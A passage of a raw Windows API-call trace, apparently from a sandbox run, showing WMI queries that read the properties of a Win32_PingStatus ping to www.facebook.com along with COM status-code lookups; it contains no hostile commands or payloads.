puCount=0x572ea74*=0x2) returned 0x0 [0138.828] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.828] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.828] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0138.828] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.828] SafeArrayGetDim (psa=0x5c78c68) returned 0x1 [0138.828] SafeArrayGetLBound (in: psa=0x5c78c68, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0138.828] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.828] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.828] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.828] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.828] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.828] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.829] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.829] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.829] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.829] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.829] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.829] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.829] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.829] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.829] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.829] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.829] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.829] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.829] SysStringByteLen (bstr="__PATH") returned 0xc [0138.829] SysStringByteLen (bstr="__PATH") returned 0xc [0138.830] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb610*=0, plFlavor=0x22bb614*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22bb610*=3, plFlavor=0x22bb614*=64) returned 0x0 [0138.830] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb644*=0, plFlavor=0x22bb648*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bb644*=8, plFlavor=0x22bb648*=64) returned 0x0 [0138.830] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.830] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.830] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb69c*=0, plFlavor=0x22bb6a0*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb69c*=8, plFlavor=0x22bb6a0*=64) returned 0x0 [0138.830] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb6c4*=0, plFlavor=0x22bb6c8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bb6c4*=8, plFlavor=0x22bb6c8*=64) returned 0x0 [0138.830] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.831] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.831] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb71c*=0, plFlavor=0x22bb720*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bb71c*=8, plFlavor=0x22bb720*=64) returned 0x0 [0138.831] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.831] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.831] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb8fc*=0, plFlavor=0x22bb900*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22bb8fc*=3, plFlavor=0x22bb900*=64) returned 0x0 [0138.831] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb930*=0, plFlavor=0x22bb934*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bb930*=8200, plFlavor=0x22bb934*=64) returned 0x0 [0138.832] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb964*=0, plFlavor=0x22bb968*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22bb964*=8, plFlavor=0x22bb968*=64) returned 0x0 [0138.832] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.832] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.832] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb9b0*=0, plFlavor=0x22bb9b4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bb9b0*=8, plFlavor=0x22bb9b4*=64) returned 0x0 [0138.832] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.832] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.832] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bb9fc*=0, plFlavor=0x22bba00*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bb9fc*=8, plFlavor=0x22bba00*=64) returned 0x0 [0138.832] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.832] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.832] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0138.832] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0138.832] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.832] IWbemClassObject:Get (in: This=0x5c506a0, wszName="WriteVerboseStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bbc38*=0, plFlavor=0x22bbc3c*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bbc38*=0, plFlavor=0x22bbc3c*=0) returned 0x80041002 [0138.832] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0138.834] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c4f228) returned 0x0 [0138.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f228, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0138.834] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c4f228, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c4f168) returned 0x0 [0138.834] WbemStatusCodeText:IUnknown:Release (This=0x5c4f228) returned 0x0 [0138.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c4f168) returned 0x0 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0138.835] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f168) returned 0x3 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0138.835] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0138.835] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0138.835] WbemStatusCodeText:IUnknown:Release (This=0x5c4f168) returned 0x2 [0138.835] WbemStatusCodeText:IUnknown:Release (This=0x5c4f168) returned 0x1 [0138.835] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0138.835] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0138.835] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f168, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c4f168) returned 0x0 [0138.835] WbemStatusCodeText:IUnknown:AddRef (This=0x5c4f168) returned 0x3 [0138.835] WbemStatusCodeText:IUnknown:Release (This=0x5c4f168) returned 0x2 [0138.836] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c4f168, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0138.836] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.837] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.837] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.837] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0138.837] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0138.837] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.837] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0138.837] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.837] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0138.837] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0138.837] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.838] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.838] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.838] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.838] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.838] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.838] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.838] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.838] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.838] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.838] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.838] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.838] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.838] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.838] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.838] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.838] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.838] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.838] SysStringByteLen (bstr="__PATH") returned 0xc [0138.838] SysStringByteLen (bstr="__PATH") returned 0xc [0138.838] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc024*=0, plFlavor=0x22bc028*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22bc024*=3, plFlavor=0x22bc028*=64) returned 0x0 [0138.839] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc058*=0, plFlavor=0x22bc05c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bc058*=8, plFlavor=0x22bc05c*=64) returned 0x0 [0138.839] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.839] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.839] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc0b0*=0, plFlavor=0x22bc0b4*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc0b0*=8, plFlavor=0x22bc0b4*=64) returned 0x0 [0138.839] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc0d8*=0, plFlavor=0x22bc0dc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22bc0d8*=8, plFlavor=0x22bc0dc*=64) returned 0x0 [0138.839] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.839] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.839] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc130*=0, plFlavor=0x22bc134*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bc130*=8, plFlavor=0x22bc134*=64) returned 0x0 [0138.839] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.839] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.840] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc310*=0, plFlavor=0x22bc314*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22bc310*=3, plFlavor=0x22bc314*=64) returned 0x0 [0138.840] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc344*=0, plFlavor=0x22bc348*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d28*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c4f228, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22bc344*=8200, plFlavor=0x22bc348*=64) returned 0x0 [0138.840] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc378*=0, plFlavor=0x22bc37c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22bc378*=8, plFlavor=0x22bc37c*=64) returned 0x0 [0138.840] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.840] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.840] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc3c4*=0, plFlavor=0x22bc3c8*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22bc3c4*=8, plFlavor=0x22bc3c8*=64) returned 0x0 [0138.840] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.840] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.841] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc410*=0, plFlavor=0x22bc414*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22bc410*=8, plFlavor=0x22bc414*=64) returned 0x0 [0138.841] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.841] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0138.841] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0138.841] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.841] IWbemClassObject:Get (in: This=0x5c506a0, wszName="WriteDebugStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc64c*=0, plFlavor=0x22bc650*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22bc64c*=0, plFlavor=0x22bc650*=0) returned 0x80041002 [0138.841] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0138.842] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c4f228) returned 0x0 [0138.842] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c4f228, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, 